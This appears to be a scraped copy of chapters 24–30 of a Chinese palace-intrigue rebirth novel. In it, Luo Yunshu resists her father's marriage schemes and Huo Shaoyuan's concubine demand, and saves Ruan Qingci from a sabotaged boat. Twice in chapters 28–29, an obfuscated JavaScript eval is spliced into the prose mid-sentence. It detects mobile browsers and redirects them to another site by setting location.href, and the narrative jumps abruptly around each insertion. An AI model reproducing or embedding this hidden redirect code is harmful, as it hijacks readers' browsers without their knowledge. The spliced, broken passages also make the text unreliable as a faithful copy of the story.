安国公夫人立刻行礼:“臣妇恭送长公主殿下。” 其他人,也跟着行礼。 大长公主笑笑,深深地看了洛云舒一眼,这才转身离去。 安国公夫人小心翼翼地陪在一侧,送大长公主出去。 这时候,阮清辞到了洛云舒身边,压低了声音问道:“洛仙儿,我现在磕头拜你为师,你肯收吗?” 第24章 信,你说什么我都信 洛云舒看阮清辞一眼:“你这是裹什么乱呢?” 阮清辞朱唇轻启,缓缓道:“你不妨看看这会儿周围人看你的眼神。” 洛云舒没看得这么明显,只用眼角的余光打量着周围的人。 是的,她们在看她。 但,不再是戏谑笑话的眼神,而是倾慕。 是大长公主与她交谈带来的效果。 旁人或许以为,大长公主特意来这一趟,是来给她撑腰。 而她有了大长公主这层关系,没人敢小瞧她。 只怕,阮清辞也是这么想的。 洛云舒微微一笑:“如果我说我从前和大长公主从未有过私交,你信不信?” “信,你说什么我都信。”阮清辞点头如捣蒜。 洛云舒无奈一笑。 现在,只怕她说和大长公主没一点儿关系,谁都不会信。 “清辞,和云舒聊什么呢?” 是阮清辞的母亲,阮夫人。 阮夫人是丞相夫人,保养得宜,自有一股气度在。 不过,她一向是用鼻孔看人的。 至少,以往那么多次宴会上,洛云舒主动给阮夫人见礼,得来的也只是阮夫人微微一点头。 她甚至连个“嗯”字都不说。 这次主动来攀谈,是第一次。 阮清辞惊讶坏了,几乎要破功。 还是阮夫人借着袖子的遮挡捅了她一下,阮清辞才说道:“母亲,我和云舒闲聊呢。” “原来是这样啊。”说着,阮夫人转脸看洛云舒,语气分外热络,“云舒啊,你和清辞年纪相仿,日后若无事,常来府里玩。” “好的,阮伯母。” 阮夫人这才满意地笑了,又颇有深意地看了阮清辞一眼。 这是暗示阮清辞,要和洛云舒打好关系。 阮清辞连忙点头,却在阮夫人走了之后吐槽道:“真没想到,我母亲也是个拜高踩低的人。” 洛云舒一本正经地问:“怎么,令堂如此作派,阮大小姐是第一次发现?” 阮清辞扑哧一声,笑出声来。 笑过之后又紧咬牙关,想笑不敢笑,忍得很辛苦。 她是丞相之女,要温婉。 这一刻,看着阮清辞,洛云舒突然格外羡慕大长公主。 刚才那么多人,大长公主想笑就笑,而且,还笑得很大声。 看来,当一个人有了足够的权力和地位,就不再需要去顾及其他人的看法。 她也想成为这样的人。 这时候,安国公夫人回来了,阮清辞识趣地退开。 安国公夫人很热情:“云舒,你有大长公主这层关系,怎么没早点跟我说?” 她不再自称本夫人。 洛云舒浅浅一笑,显得高深莫测:“您没问过。” 这一瞬,安国公夫人脸上的镇定几乎维持不住。 如果她早知道…… 可惜,这世上,没有早知道。 这一刻,她甚至想不认洛云舒为义女。 可她广发帖子,用的正是认亲宴的名义。 现在,她已经是骑虎难下。 认亲宴还是要继续进行。 安国公夫人的心简直在滴血,这样的一桩婚事,几乎马上要成真,被她给葬送了。 她现在认洛云舒为义女,也就彻底断了让洛云舒嫁给霍少远的可能。 毕竟,今日认亲宴之后,洛云舒和霍少远就是名义上的兄妹。 兄妹之间,是不可以越雷池半步的。 他们这种人家,最重名声。 安国公夫人咬着牙,面对众人的目光。 在大长公主来之前,大家还都觉得安国公夫人认洛云舒这一举措很高明,可以完美平息退婚带来的影响。 但是现在,安国公夫人觉得所有人都在嘲笑她,觉得她是个蠢货,到手的鸭子就这么飞了。 可这认亲的宴会,却不得不继续进行。 认亲宴开始,洛云舒给安国公夫人敬茶。 这一瞬,安国公夫人忍不住想,若此刻是身为儿媳妇的洛云舒给她敬茶,这该有多好! 只可惜,现实依旧是现实。 安国公夫人接过洛云舒捧上前的茶,这茶明明是上好的碧螺春,入口香醇,她却觉得无比苦涩,难喝得很。 一场认亲宴,竟为洛云舒带来不少机缘。 在场几乎所有的夫人都来与她攀谈,想要交好。 洛云舒宠辱不惊,并未因此而迷乱,依旧从容应对。 看到这样的洛云舒,安国公夫人更是气得呕血。< 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孙氏不依不饶:“你偷偷带玉瑶进去,谁会知道?” “母亲怕是忘了,这些世家大族,做事最是严谨。如果让安国公夫人知道孙玉瑶偷溜进去,您猜,她还会不会让孙玉瑶进门?母亲,我是在为她着想。” 孙氏想了想,觉得有些道理。 她很快离开,想必是去安抚孙玉瑶了。 真好忽悠。 洛云舒笑着,坐到院中的秋千架上。 今天的事情脱离了她的预期,但是很奇怪,看着安国公夫人吃瘪,她很开心。 只是,她接下来的计划要调整一下了。 现在,她的名声太好,原先的计策,行不通。 这件事,要跟安老大通个气,免得他白忙一场。 洛云舒吩咐灵雀,让她出门一趟,给安老大递个信儿,明日见一面。 灵雀立刻去办。 洛云舒则接过知意递过来的冰碗,拿了银质的小勺子,一点一点地往嘴里送。 暮春初夏,吃点冰冰凉凉的东西,很惬意。 只可惜,这惬意的时间不长。 因为,孙氏又来了。 第25章 你这面子,着实是大得很 孙氏手里捏着一沓拜贴,她看着洛云舒,似乎第一次见。 好半天之后,孙氏才颤抖着嘴唇开口:“你几时还和长公主殿下有了牵扯?” “很早了。”洛云舒说的轻描淡写。 “你这是什么态度?那可是长公主殿下!”孙氏疾走几步,近前来,“你和长公主殿下的交情为何这样深?她从不参加宴会,却为了你专门跑这一趟?你这面子,着实是大得很。” 洛云舒避而不谈,只高深莫测道:“母亲,我一向很有本事,你知道的。” 她的母亲靠不住,府里这么多年都是她撑下来的,这足以看出她的本事。 孙氏再次震惊,唇角翕动:“你、你真是我的女儿吗?” “或许,是承袭了父亲的睿智。”洛云舒模棱两可。 大概孙氏也觉得,以她的脑子,生不出这么聪明的女儿。 “那倒是,你父亲向来有能耐。他能从小小的洛家村走到京城,就说明他很厉害。” 这时候,洛守礼疾步走了进来,孙氏的目光追随着他,满是崇拜:“老爷,云舒这样厉害,都是随了你。” 洛守礼没搭理她,只看向洛云舒,问道:“你是什么时候和长公主殿下有交情的?” “有些时候了。” “为何你从没说过?” “我时常参加宴会,又为了家里的生意在外走动,每天都会结识新的人,没法一一向父亲大人禀报。” “那是长公主!” 洛云舒不再言语。 这一次,洛守礼却不再责怪她,只说道:“和长公主殿下的关系,你务必要好好维系。要知道,长公主殿下的独子如今尚未成婚。” 洛守礼点到为止。 但话里的意思已经很明白了。 甚至,他的神情是有些雀跃的。 他为何雀跃,洛云舒自然心知肚明。 没了定国公府的婚事,洛守礼很是懊丧了一阵子。 但,若是能攀上长公主,那么,先前损失的婚事也就不值一提了。 对她,洛守礼永远在待价而沽。 或许,他的起点太低,所以,才想要拼命往上爬。 但无论怎样,他不该拿亲生女儿做筹码。 这一刻,洛云舒看着自己的父亲,神色平静。 后面,洛守礼又说了很多,到黄昏时分才离开。 洛云舒左耳朵进,右耳朵出,全没放在心上。 等洛守礼和孙氏离开之后,知意担忧道:“大小姐,老爷说的话,不妥。” “我知道,放心,我不会按他说的去做。你们下去吧,我想静一静。” 知意和灵雀很快退下。 洛云舒看着闪烁的烛光,内心一片淡漠。 实则,关于长公主的独子,百姓之中是有些传言的。 因为长公主这位独子很少露面,所以,不少人都怀疑这位独子不大正常。 作为贵族,最忌讳被人笑话。 所以,但凡是世家贵族生出了蠢笨的孩子,要么直接遗弃,要么,就是藏得很严,不会让他在人前露面。 这传言,洛守礼不会不知道。 他知道,却不在意。 是啊,只要她嫁的人家能带给他实实在在的好处,至于她嫁给一个什么样的人,婚后过什么样的生活,他是一概不在意的。 上一世做鬼的时候,洛云舒才深刻见识到洛守礼的凉薄。 那时候,她恨极了他。 她不明白,身为父亲,为什么能眼睁睁看着她殉节,看着她**,又为什么能在她死后都不肯善待她,连给她立个碑都不肯? 但现在,洛云舒明白了。 洛守礼不肯为她立碑,是在刻意淡化她曾经存在的痕迹。 若是立了碑,那块碑就会一遍遍提醒他曾经卖女求荣的事实。 不立碑,只立一块木牌子,似乎木牌子消失了,她就彻底没了存在过的痕迹。 仿佛她的一生就是坟前那飘飘摇摇的木牌子,木牌子没了,她也就彻底消失不见。 她的一生,曾那样被安排过。 而现在…… 洛云舒低头看自己的掌心,那里洁白莹润,透着微微的红,是如此的鲜活。 她不再是虚无缥缈的孤魂野鬼。 她是活生生的人。 她曾经死过,而现在,是她重新活过的机会。 所以,这一世,她绝不会辜负自己,她要按照自己的心意而活,完完全全的,做自己的主宰。 隔日,洛云舒女扮男装,在云溪茶楼见到了安老大。 安老大依旧一脸的络腮胡,多年来带着商队走动,他的皮肤有点粗糙,但是眼睛却很亮,给人一种很睿智的感觉。 但是今天,他见到洛云舒的时候,眼神有些躲闪。 洛云舒满心歉意:“安大哥,实在是对不住,先前求 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见她如此,安老大没忍住,笑了。 “笑什么?”洛云舒问。 安老大喝了一大口酒,眼睛便亮晶晶的:“你向来规规矩矩的,却又一股子韧劲儿,我总是在琢磨,你到底是个什么样的人。刚才饮酒的时候,你才有了些鲜活的模样。原来,你也有不规矩的模样。” 洛云舒也跟着笑了。 是啊,她谨记规矩,从不做逾距的事情。 这一次饮酒,是例外。 以后她的人生里,会出现越来越多这样的例外。 洛云舒很开心。 两人笑着看着,看着笑着,恍惚间,仿佛觉得彼此的关系又进了一步。 这种更进一步,无法言说,却又如此真实地存在。 分别的时候,洛云舒饮酒不多,依旧清醒,倒是安老大喝了不少,脚步有些虚浮,但基本的礼节还在。 道别后,二人各自离开。 哪怕是回去之后,洛云舒还是觉得很清醒,没受到什么影响。 梳洗已毕,她把灵雀和知意都遣了出去,想小睡一会儿。 一回身,看到眼前出现裴行渊的身影,洛云舒忍不住敲了敲脑袋,她这是、醉了? 第26章 不就是想引起我的注意吗? “白日饮酒?”眼前的裴行渊嘴巴一张一合,说了这么一句话。 “是,喝了点。”洛云舒随口应道,手撑着桌子准备坐下。 桌子的触感,硬且凉。 这感觉,很真实。 洛云舒猛然醒悟过来,这不是梦。 想要坐下的身子立刻绷直,定定地看着裴行渊,皱了皱眉。 这是她的房间,为何裴行渊白日里会出现在这里? 洛云舒满肚子问号。 不等洛云舒问,裴行渊自顾自地解释:“孤要找你问些话,在外面见面太显眼,故而选在这里。” “殿下白日里翻墙过户,来我房间,就不显眼了?”洛云舒皱眉,面色冷了下来,“敢问殿下此举,将我的名声置于何地?” 世人对待女子,总会严苛一些。 若东窗事发,不会有人说裴行渊行事不妥,只会说是她蓄意勾引,意图不轨。 “是孤欠缺考虑,此举实在是不妥。”裴行渊诚恳致歉。 洛云舒面色稍缓,想起大长公主的相助,又屈身行礼:“多谢殿下请大长公主相助,臣女不胜感激。” 刚才的质问不作假,可此刻的感谢亦是真心。 哪怕大长公主的相助打乱了她原先的计划,她也不能因此去质疑做下这件事的人实际上是为了她好。 一码归一码。 裴行渊似是愣了一下,继而说道:“可有帮到你?” “帮到了的。” “那就好。”说完,裴行渊一阵沉默。 洛云舒不解,莫非裴行渊费尽心机在这里等她,只是听她道谢? 她不觉得裴行渊会这么闲。 这里面,一定还有别的原因。 但,她不能直接问。 只等着裴行渊开口。 不曾想,裴行渊却在这时候告辞离开。 裴行渊离开后,洛云舒仍是不解。 他今日的举动,未免太过奇怪。 她不知道的是,洛府外的马车里,裴行渊坐在马车里,亦是愁眉紧皱。 他看向寒七,说道:“洛云舒竟以为是孤说动了大姑姑帮她的。” 寒七只觉得意外。 他向来话少,主子做事也很少问询他的意见。 故而,他张了张嘴巴,只吐出一个字:“哦。” 裴行渊瞟他一眼,余下的话也不想说了。 回了东宫,裴行渊把这件事告诉了太子詹事,东方先生。 东方先生听完,抚了抚自己的胡子,笑了笑:“既然如此,太子殿下可以排除洛大小姐的嫌疑了。” “何以见得?”裴行渊明知故问。 东方先生眯了眯眼睛,看着裴行渊,缓缓道:“殿下之所以急着前去询问,不过是因为怀疑霍家故布疑阵,把洛大小姐抛出来做诱饵。但殿下理应明白,大长公主不是霍家能牵制的,再者,大长公主此番为洛大小姐出头,分明是在打压霍家。所以,大长公主出面不是霍家的授意。” 他不信如此简单的事情,这位聪明睿智的太子殿下分析不出来。 所以,太子分析出来了,却又存疑,故而想去询问。 说到底,是太子关心则乱。 至于为何关心则乱,恐怕只有太子殿下自己心里最清楚了。 说完,东方先生笑了笑,那睿智的眼神仿佛看穿了一切。 裴行渊单手背后看向别处,声色冷硬:“到底是谁,竟能说动大姑姑为洛云舒出头?莫非朝中还有另外一股势力?” “殿下怎可怀疑大长公主殿下对朝廷的忠心?她当年既然选择急流勇退,就绝不会再插手朝中之事。况且,大长公主殿下高风亮节,绝对不会行此蝇营狗苟之事!” 说着,东方先生愈发激动。 裴行渊看一眼他,当年倾慕大姑姑的人不知凡几,听闻东方先生亦是其中一员。 今日一见,方知传言非虚。 东方先生洋洋洒洒又说了许多,意思却只有一个,那就是——大长公主绝无可能支持朝中任何一股力量,她是绝对的中立。 “那大姑姑为洛云舒出头,是谁的手笔?” 东方先生语气激切:“殿下,您换个角度想想,大长公主殿下除了是长公主,她也是一位母亲。若她为世子求娶洛大小姐,此举是不是就不奇怪了?” 顺着这个思路一想,裴行渊的思 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“狡辩!你既然退了婚,又搬出大长公主来为你所用,不就是想引起我的注意吗?只可惜,我母亲看穿了你的阴谋,认你为义女,你我便是兄妹的情分,既然如此,你日后休想做我的正妻!” 洛云舒冷脸:“霍少将军真是好大一张脸,我绝无此意。” “口是心非的女人!你倾慕我,不惜抢走玉瑶的镯子来接近我,不就是想把我牢牢攥住吗?只可惜,我心里没你。” 一时间,洛云舒都不知道说什么才好了。 所以,霍少远大老远跑过来一趟,就为了告诉她他心里没她? 羊癫疯都没他这么癫! “还请霍少将军放心,你我婚约已经解除,我绝不会再接近你半步!只求霍少将军也顾一顾男女大防,莫要再来我洛府内院!” 说完,洛云舒拂袖而去。 霍少远却在她身后冷哼:“到现在还想着吸引我的注意,真是不知所谓!罢了,你嘴硬,我替你安排就是。明日,我府上自会遣一顶小轿来接你,你早些准备就是!” 第27章 你还惦记着做我正妻?晚了! 洛云舒回头,愣是被气笑了。 霍少远立刻道:“你嘴硬什么?看你笑成这个样子,就知道你心里有我。” 洛云舒立刻收敛脸上的笑意:“霍少远,你真是太自负了。” “洛云舒,轮不着你来教训我。你倾慕我,却又自作聪明,所以,你现在只能落一个做妾的下场。不过你放心,有玉瑶在,我是不会亏待你的。” 说完,霍少远看向孙玉瑶,深情款款。 孙玉瑶眼底蓄泪,含情脉脉道:“少远哥哥,我竟不知,我在你心里竟是如此重要。” “你曾救过我的命,自然重要。” 孙玉瑶大概是有些心虚,不禁看了洛云舒一眼。 见洛云舒没有戳破,她立刻低下头去,粉面含春:“少远哥哥言重了。为你做任何事,我都是心甘情愿的。” 看着孙玉瑶温柔小意的样子,霍少远很受用。 他瞥了洛云舒一眼,冷声道:“你若有玉瑶半分温顺,也不至于落到今日这般下场。放着好好的正妻不做,偏要做妾!” 洛云舒冷笑:“霍少远,你还真是爱自说自话,我什么时候说过要给你做妾了?从头到尾,这件事都是你自己在胡言乱语。而我,绝没有给你做妾的心思。” “你还惦记着做我正妻?晚了!”霍少远满脸嫌恶,“如今你是我母亲的义女,你我之间有兄妹的情分,你是万万做不了我的正妻的。不然,日后但凡是你抛头露面,旁人就会议论此事,会损了我安国公府的名声。做妾就不一样了,你只需要待在内宅,不需要出现在人前,怎么样都没关系。” “霍少远,你听清楚,现如今,我不会做你正妻,更不会给你做妾。我还是那句话,至此以后,你我之间再无瓜葛。还请霍少将军自重!” “洛云舒,你不会以为大长公主出面帮你说了几句话,你就以为自己一飞登天了吧?呵,你还真是做梦!” 洛云舒看向霍少远,神色平静:“就算没有大长公主出面,我洛云舒也是官家女子,你要让我做妾,怕是没那么容易。” 即便是要良家女做妾,尚且不能强纳。 至于官家女子,那就更不用说了。 “你以为,你父亲会拒绝?”霍少远威胁着,语气里的得意尽显无遗。 他最知道洛守礼是个什么性子,这人看着道貌岸然,实则是个抓住了机会就往上爬的钻营鬼。 只要给他好处,他什么都能舍弃。 之前,他不就能舍弃洛云舒的性命,让她为他殉节吗? 殉节都可以,做妾,那就更加不在话下! “你尽可一试!”说完,洛云舒转身离去。 回房之后,灵雀快意道:“大小姐,您是没看到霍少将军那副表情,那眉头皱的,简直能夹死苍蝇!” “他是没想到曾经对他和颜悦色的人,如今对他横眉冷对了。” “奴婢见霍少将军往老爷书房那边去了,会不会出问题?”知意有些担忧。 洛云舒摇摇头:“不会。洛大人这个生意人,最知道自己的商品该卖出一个什么价格。” 从前,洛守礼肯让她为霍少远殉节,是因为她会以霍少远未婚妻的名义**,而他,则可以从中捞到好处,还有好名声。 可现在,若是让她给霍少远做妾,好处就太少了。 首先,名声上不好听就算了。 再者,一个深宅大院的妾,自己本身就是个玩意儿,连出府都需要主母同意,更别提能给家里带来什么好处了。 洛守礼做事,要么为名,要么为利,若是这两者都讨不到好处,他是不会做的。 果不其然,没多久,洛守礼就来了。 如洛云舒所预料的那般,他来的时候垂头丧气的,还不时哀叹几声。 洛云舒正在看书,起身行礼之后就不再多言,也不问他为何叹气。 洛守礼看了洛云舒好几眼之后,终于忍不住,说道:“云舒,你可知为父遇上什么难事了?” “不知。” “霍少将军想纳你做妾,为父拒绝了。” “哦?父亲为何拒绝?”洛云舒的语气轻描淡写,似乎毫不在意。 “安国公府逼迫你解除婚约在前,如今又想让你做妾,是在折辱你。身为一位父亲,为父不会眼睁睁看着自己的女儿被人羞辱。” 一番话,像极了慈父。 洛云舒脸上 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洛守礼似松了一口气:“既然在认亲宴上,大长公主殿下对你多有抬举,不如,你上门拜访,和大长公主来往一下?若她能为你撑腰,安国公府就不能胡来。” 这才是洛守礼真正的来意。 洛云舒心知肚明,却没立刻答应:“如此上赶着,怕是不好。” “和地位尊崇的人结交,本就是要捧着他们。身处高位的人,最是享受周围人的谄媚。若这谄媚足够让他们满意,那么,他们就会无有不应。” “原是如此,女儿受教了。女儿准备准备,这几日就去。” “好。”洛守礼面露喜色,“你好好准备。即便是长公主殿下这条路走不通,为父手里还有几个人选,他们都盼着与咱们府上结亲。当然,论地位,他们比不上大长公主,是退而求其次的选择。” “女儿明白了。” 洛守礼满意离去。 洛云舒感觉到了危机。 她不能总这样被动。 她招手叫过灵雀,吩咐她找人去查一件事。 隔日上午,洛云舒得到了确切的消息。 第28章 你要是嫁给他,有你的苦吃 洛云舒查的,是霍少远的近况。 霍少远亲自来洛府走这一趟,实在是反常。 依着霍少远的性子,哪怕是想让她入府做妾,也只会先把她逼入绝境,让她求他。 可这一次,他表现得很急切。 这不是他做事的风格。 除非,有什么外在的压力逼迫着他,让他不得不这样做。 果然,她的人打听到,三皇子因为**赈灾银两被御史台**,受到了陛下的斥责。 而被陛下斥责之后,三皇子对霍少远很不满。 之前,洛云舒要打理府上的生意,结识了不少生意场上的人。 这些人虽然身份不高,但做事都有自己的途径,认识的人也是三教九流的。 小人物打探消息,自然有小人物的途径。 有时候,小人物也是可以办大事的。 就像现在。 三皇子斥责霍少远办事不力,应该是因为上一次的失利。 毕竟,上一世,霍少远假死成功,又出其不意地出现,重创太子,从而让三皇子一步步把握时机,登上高位。 这一世,霍少远败露,且被太子所伤。 再加上祝三提供的消息,成功地让三皇子**赈灾银两的事情败露。 只这一件事,就能让三皇子名声扫地。 想荣登高位,哪怕是装,也得装得对百姓好。 否则一旦失了民心,对于想要再进一步的皇子而言,是很沉重的打击。 三皇子失利,霍少远自然讨不到什么好。 而大长公主在认亲宴上为她撑腰,让霍少远看到了几分希望。 或许,三皇子想要得到大长公主的支持。 毕竟,大长公主在陛下心目中的分量很重。 在这样的情况下,霍少远来洛府,也就不足为奇。 只怕接下来,他会来得更勤。 果不其然,第二日,他又来了。 这一次,洛云舒避而不见。 霍少远去找洛守礼,洛守礼不在府上,他悻悻而归。 看来,霍少远急了。 狗急跳墙这种事,很容易发生。 不能等了。 洛云舒认真地梳理了一下上一世的记忆,想到了一件事。 上一世**之后,洛云舒一直跟着霍少远,知道最后是三皇子登基为帝,而做了皇后的,是阮清辞。 然而,等三皇子借助阮丞相的相助,逐步把控朝堂之后,做的第一件事,却是将整个阮家抄家灭族! 用的罪名,是阮丞相与敌国勾结。 事实上,阮丞相虽然处事圆滑,骨子里却是个正直的人。 他不会叛国。 所以,阮家被抄家灭族,多半是三皇子的构陷。 重活一世,洛云舒不会眼睁睁看着这样的事情发生。 洛云舒立刻让灵雀给阮清辞下帖子,请她明日出来游湖。 灵雀回来的时候,带回阮清辞的答复,说她会按时赴约。 第二日见面,阮清辞很积极,比洛云舒先到,还专门包了一条船。 一见面,她就很兴奋:“是有什么事要交给我办吗?” 洛云舒看了看她。 在旁人面前,阮清辞一向装得很温婉。 可实际上,她是个跳脱的性子。 洛云舒故意揶揄道:“阮大小姐,您是丞相府的大小姐,这话,该我说才对。” 阮清辞瞪她一眼:“别这样看我,不然,我会以为你想算计我。好了好了,告诉你吧,我母亲是想去你府上提亲,想让我大哥娶你。不过,她有点拿不准大长公主能为你撑腰到何种地步,所以,她在观望。不过我可得提醒你一句,这事儿你可千万不能答应。我大哥向来纨绔,还喜欢去青楼喝花酒。你要是嫁给他,有你的苦吃。” 洛云舒笑笑:“阮大少爷有你这样的妹妹,真是他的福气。” “那是自然。”阮清辞傲娇地应了一句,很快回过味儿来,“不对,你这话是在说我胳膊肘往外拐。” “啧,居然被你看出来了。” 阮清辞作势要打她,冷不丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛云舒静静看她,问道:“你觉得,三殿下这个人如何?” 第29章 姐姐,我没得罪过你吧? 阮清辞虽然为人跳脱,但是她很聪明,立刻问道:“你这话是什么意思?” 洛云舒没有多做解释,只给了她一个眼神,示意她透过船上的窗户缝儿往外看。 只这一条小缝儿,外面不会看到,里面却可以清楚地看到外面的情形。 隔着这小缝儿,阮清辞看到隔壁的船上,三皇子的脸色很难看,和刚才的温柔和煦完全不同,隐隐透出几分阴戾。 阮清辞有点被吓到,心有余悸地拍着自己的心口。 直到她们的船划出一段距离,阮清辞才开口:“他这人笑着的时候看不出来,冷起脸的时候还真是吓人。” “咱们来这里游湖,我不曾跟任何人提过,你跟谁提过吗?”洛云舒问。 阮清辞看着洛云舒,缓缓摇头:“没有。” 洛云舒蹙眉:“那就奇怪了。怎么会刚好碰到?不应该这么巧的。” 阮清辞仍旧看着洛云舒,目不转睛,又亲昵地挽住她的胳膊:“姐姐,我没得罪过你吧?” “没有。怎么会这么问?” “那你可不能把我当恶人往死里整。姐姐,亲姐,求你了,你知道什么,都告诉我吧!”说着,阮清辞的眼睛滴溜一转,“要不,我给你磕一个?” 说着,她就要往下跪。 洛云舒托住她的胳膊,无奈叹气:“当初丞相大人给你取这么一个名字,想必是希望你成为芊芊淑女。啧,他老人家现在一定很失望吧?” 阮清辞一惊:“是不是我爹得罪你了?他得罪你,你去找他啊,可千万别把账算在我头上!” 洛云舒瞪她一眼:“想什么呢?我是觉得,今日这样巧合,是不是三殿下有意和你接触?” 想到三皇子刚才的脸色,阮清辞忍不住打了个哆嗦:“不、不会吧?” 这一刻,她有一种被毒蛇盯上的感觉。 “但愿是我多想了。不过,你还是要多留一个心眼。日后若是再见到他,尽量远离。” 阮清辞立刻点头如捣蒜。 洛云舒这才算是松了一口气。 幸好,阮清辞并不倾慕三皇子。 在这样的情况下,只要阮清辞有了戒备的心思,就不会让三皇子如愿。 如此一来,也就可以避免上一世满门被斩杀的厄运。 有这么一个小插曲,二人都没了游湖的心思,反正已经避开了三皇子的船只,二人就让船家靠岸。 在水里,终究不算**全。 然而,往岸边走了没多远,底下突然传来船家的惊呼声:“不好,船进水了!快,拿木板来!” 犹如一碗水倒进油锅,底下顿时沸腾起来,乱糟糟的一片。 洛云舒走上船头,往岸边望了望,这会儿,距离岸边大概还有大约二百步的距离。 而且,因为进了水,船行进的速度很慢。 这船,有沉没的危险。 另一边,视线所及之处,已经出现三皇子的船只。 几乎在一瞬间,洛云舒想到了什么。 她立刻拿出备着的披风,裹在阮清辞身上:“裹好。哪怕是落了水,也不要脱下。我会水,我带你回岸上。” 阮清辞意识到了什么,抓着披风的手有几分颤抖。 她也看到了三皇子的船只。 他的船只,没理由来的这么快。 除非,是早有预谋。 船只,已经在下陷。 洛云舒抓住阮清辞的手,牢牢地抓着船头。 她看着阮清辞发白的脸色,语气坚定:“别怕。灵雀和知意都会水,他们会护住咱们,不让人近身。船只即将沉没时,你我要立刻跳下去,不可犹豫。入水之后,你抓着我的胳膊,切记不可乱动。” “好。”阮清辞点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429502|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她一直被保护得很好,不曾遇到过如此棘手又危险的境况。 这会儿大脑一片空白,完全丧失了思考的能力。 三皇子的船越来越近,而她们所在的船只却即将沉默。 不能等了! 洛云舒当机立断,拉着阮清辞跳入水中,往岸边的方向游。 有洛云舒在,阮清辞还算镇定。 她抓着洛云舒的胳膊,尽量不让自己有多余的动作。 在二人身后,灵雀和知意护着阮清辞的贴身丫鬟明月,紧紧跟随。 不远处,已经传来三皇子的声音:“阮大小姐莫急,本殿下这就来救你!” 阮清辞怕的就是这个。 情急之下,她呛了几口水,身子也跟着往下沉。 洛云舒托住她的身子,劝道:“放心,有我在,不会让他有机会碰你。” 洛云舒的话给了阮清辞很大的信心。 她不再做多余的动作,只按着洛云舒的话做。 终于,她们距离岸边,越来越近。 可三皇子的船只更快。 “阮大小姐,莫要再动了。这底下有淤泥,若是陷在淤泥里,你将寸步难行!” 三皇子的喊声落下之后,紧接着是霍少远斥责的声音:“洛云舒,你胡乱游什么?若是阮大小姐有个闪失,你担待得起吗?” 随后,是跳入水中的声音。 洛云舒往后看了一眼,跳入水中的,一个是霍少远,另一个就是三皇子。 他们朝着这边游过来,速度很快。 洛云舒很快收回视线,奋力往岸边游。 却在这时听到左侧不远处传来一个轻佻的声音:“哟,这是哪家的小娘子落了水?怪可怜的……” 洛云舒对这个声音很陌生,阮清辞却觉得耳熟,往那边一看,眼泪就跟着下来了…… 第30章 云舒,我真心疼你 “哥!”阮清辞大喊。 “我去,是我妹子!快,把船靠过去!” 是阮清辞的纨绔哥哥,阮英杰。 他的船很快靠过来,隔开三皇子和霍少远的视线,让洛云舒和阮清辞上了船。 上船的瞬间,阮英杰往二人身上分别裹了个披风,让丫鬟扶着他们进了里间。 换好干爽的衣服出来之后,洛云舒神色平静,阮清辞的眼睛却红了。 她看着阮英杰,眼泪扑簌簌往下掉。 “哟,我妹子这是掉金豆子了?” 阮清辞破涕为笑,瞪他一眼:“我都差点儿**,你还取笑我。” “能说出这话,那就是死不了。”说完,阮英杰面色微肃,朝着洛云舒躬身施礼,“多谢洛大小姐救命之恩。” 洛云舒还了一礼:“阮公子客气了。今日原本就是我邀请清辞出来的,我护着她,也是理所应当,当不得一个谢字。” “此事非你之过。”说着,阮英杰神色凝重。 这时候,小厮前来传话:“少爷,三殿下和霍少将军来了。” “你二人先进去,无须露面。” 洛云舒点头,立刻带着阮清辞进去。 直到这会儿,阮清辞的腿脚还有些发软。 她扶着桌子坐下,仍然心有余悸:“洛云舒,我欠了你一个天大的人情。” “是我办事不够妥当,不该今日带你游湖,该选在其他更安全的地方才是。” 阮清辞摆摆手,不甚在意:“意外的事情,谁说的准呢?就算是咱们去了茶楼喝茶,茶楼也有可能进刺客,也有可能失火,这些都是说不准的。只能怪我运气不好。” “不是意外。”洛云舒当机立断,“清辞,让明月去跟你哥哥说一声,让他派人去查咱们刚才乘坐的船只为何会漏水。” 阮清辞冷不丁想到了什么,立刻让明月去办。 之后,她问:“你说,会不会是三皇子让人动了手脚?” “我猜是。至于是不是,要看证据。” 顷刻间,阮清辞面寒如霜。 没多久,阮英杰回来了。 他脸上带笑,调侃阮清辞:“清辞,你真是走了狗屎运,三殿下要救你在前,这会儿又特地来问候你,让人送了姜汤过来。” 阮清辞没接话,只问道:“哥哥,我让明月告诉你的事,你让人查了吗?” 阮英杰看向身后:“来人,把东西拿过来。” 两个小厮抬着一块巨大的木板,走上前来。 这是船上的木板,表面有清漆。 但中间的位置有被利刃撬动的痕迹。 是人为的。 阮清辞脸色发白,手指微微颤抖。 她在后怕。 今日,但凡是三皇子在水里救了她,他对她就有了救命之恩,再加上有了肢体接触,她势必是要嫁给三皇子的。 这是阴谋。 针对她的阴谋。 “清辞,你怎么了?” “大哥,我……”阮清辞欲言又止。 一切只是她的猜测,她没有任何证据证明这件事是三皇子做的。 她甚至不能把自己的猜测说出来。 毕竟,猜测只是猜测,不是事实。 这时,洛云舒说道:“阮公子,还请你派人去一趟京兆府,报官,让官府来查。” 阮英杰深深地看了洛云舒一眼,继而笑了:“好,听洛大小姐的。你安慰一下清辞,在下去去就来。” 洛云舒点头,握着阮清辞的手坐下。 她的手很凉。 “吓到了?” 阮清辞点头,反手握住洛云舒的手:“当初你家里逼着你为霍少远殉节的时候,你是不是也这样怕?” “是,面对生死,谁都会怕。” “可你当初很镇定。” “清辞,无人为我撑腰。我若慌乱,那才是真的死路一条。” 洛云舒语气平静,仿佛在说一件极平常的事。 “云舒,你我相识一场,我很愧疚当时没能为你做些什么。” “这有什么?”洛云舒淡淡一笑,“你本就看不上我,觉得我装,但是你心肠不坏。不然当初我办春日宴,你不会出席。” “可我终究是没能帮你。”阮清辞深感惭愧,脸也跟着红了。 